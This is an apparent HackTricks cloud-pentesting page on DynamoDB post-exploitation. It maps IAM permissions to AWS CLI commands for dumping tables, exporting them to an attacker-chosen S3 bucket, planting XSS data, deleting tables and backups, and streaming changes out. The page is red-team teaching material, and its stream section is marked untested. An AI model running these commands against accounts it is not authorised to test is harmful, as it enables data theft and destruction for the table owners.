# AWS - DynamoDB Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## DynamoDB For more information check: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} ### `dynamodb:BatchGetItem` An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`). {{#tabs }} {{#tab name="json file" }} ```bash aws dynamodb batch-get-item --request-items file:///tmp/a.json // With a.json { "ProductCatalog" : { // This is the table name "Keys": [ { "Id" : { // Primary keys name "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those } } ] } } ``` {{#endtab }} {{#tab name="inline" }} ```bash aws dynamodb batch-get-item \ --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ --region ``` {{#endtab }} {{#endtabs }} **Potential Impact:** Indirect privesc by locating sensitive information in the table ### `dynamodb:GetItem` **Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json // With a.json { "Id" : { "N": "205" } } ``` With this permission it's also possible to use the **`transact-get-items`** method like: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json // With a.json [ { "Get": { "Key": { "Id": {"N": "205"} }, "TableName": "ProductCatalog" } } ] ``` **Potential Impact:** Indirect privesc by locating sensitive information in the table ### `dynamodb:Query` **Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request. {{#tabs }} {{#tab name="json file" }} ```bash aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json // With a.json { "Id" : { "ComparisonOperator":"EQ", "AttributeValueList": [ {"N": "205"} ] } } ``` {{#endtab }} {{#tab name="inline" }} ```bash aws dynamodb query \ --table-name TargetTable \ --key-condition-expression "AttributeName = :value" \ --expression-attribute-values '{":value":{"S":"TargetValue"}}' \ --region ``` {{#endtab }} {{#endtabs }} **Potential Impact:** Indirect privesc by locating sensitive information in the table ### `dynamodb:Scan` You can use this permission to **dump the entire table easily**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` **Potential Impact:** Indirect privesc by locating sensitive information in the table ### `dynamodb:PartiQLSelect` You can use this permission to **dump the entire table easily**. ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` This permission also allow to perform `batch-execute-statement` like: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` but you need to specify the primary key with a value, so it isn't that useful. **Potential Impact:** Indirect privesc by locating sensitive information in the table ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` This permission will allow an attacker to **export the whole table to a S3 bucket** of his election: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ --s3-bucket \ --s3-prefix \ --export-time \ --region ``` Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` **Potential Impact:** Indirect privesc by locating sensitive information in the table ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` **Potential Impact:** Indirect privesc by locating sensitive information in the table backup ### `dynamodb:PutItem` This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**. {{#tabs }} {{#tab name="XSS Example" }} ```bash ## Create new item with XSS payload aws dynamodb put-item --table --item file://add.json ### With add.json: { "Id": { "S": "1000" }, "Name": { "S": "Marc" }, "Description": { "S": "" } } ``` {{#endtab }} {{#tab name="AI Example" }} ```bash aws dynamodb put-item \ --table-name ExampleTable \ --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ --region ``` {{#endtab }} {{#endtabs }} **Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table ### `dynamodb:UpdateItem` This permission allows users to **modify the existing attributes of an item or add new attributes to an item**. It does **not replace** the entire item; it only updates the specified attributes. If the primary key does not exist in the table, the operation will **create a new item** with the specified primary key and set the attributes specified in the update expression. {{#tabs }} {{#tab name="XSS Example" }} ```bash ## Update item with XSS payload aws dynamodb update-item --table \ --key file://key.json --update-expression "SET Description = :value" \ --expression-attribute-values file://val.json ### With key.json: { "Id": { "S": "1000" } } ### and val.json { ":value": { "S": "" } } ``` {{#endtab }} {{#tab name="AI Example" }} ```bash aws dynamodb update-item \ --table-name ExampleTable \ --key '{"Id": {"S": "1"}}' \ --update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ --expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ --region ``` {{#endtab }} {{#endtabs }} **Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table ### `dynamodb:DeleteTable` An attacker with this permission can **delete a DynamoDB table, causing data loss**. ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` **Potential impact**: Data loss and disruption of services relying on the deleted table. ### `dynamodb:DeleteBackup` An attacker with this permission can **delete a DynamoDB backup, potentially causing data loss in case of a disaster recovery scenario**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` **Potential impact**: Data loss and inability to recover from a backup during a disaster recovery scenario. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] > TODO: Test if this actually works An attacker with these permissions can **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. This allows the attacker to monitor and exfiltrate data changes, potentially leading to data leakage. 1. Enable a stream on a DynamoDB table: ```bash bashCopy codeaws dynamodb update-table \ --table-name TargetTable \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` 2. Describe the stream to obtain the ARN and other details: ```bash bashCopy codeaws dynamodb describe-stream \ --table-name TargetTable \ --region ``` 3. Get the shard iterator using the stream ARN: ```bash bashCopy codeaws dynamodbstreams get-shard-iterator \ --stream-arn \ --shard-id \ --shard-iterator-type LATEST \ --region ``` 4. Use the shard iterator to access and exfiltrate data from the stream: ```bash bashCopy codeaws dynamodbstreams get-records \ --shard-iterator \ --region ``` **Potential impact**: Real-time monitoring and data leakage of the DynamoDB table's changes. {{#include ../../../banners/hacktricks-training.md}}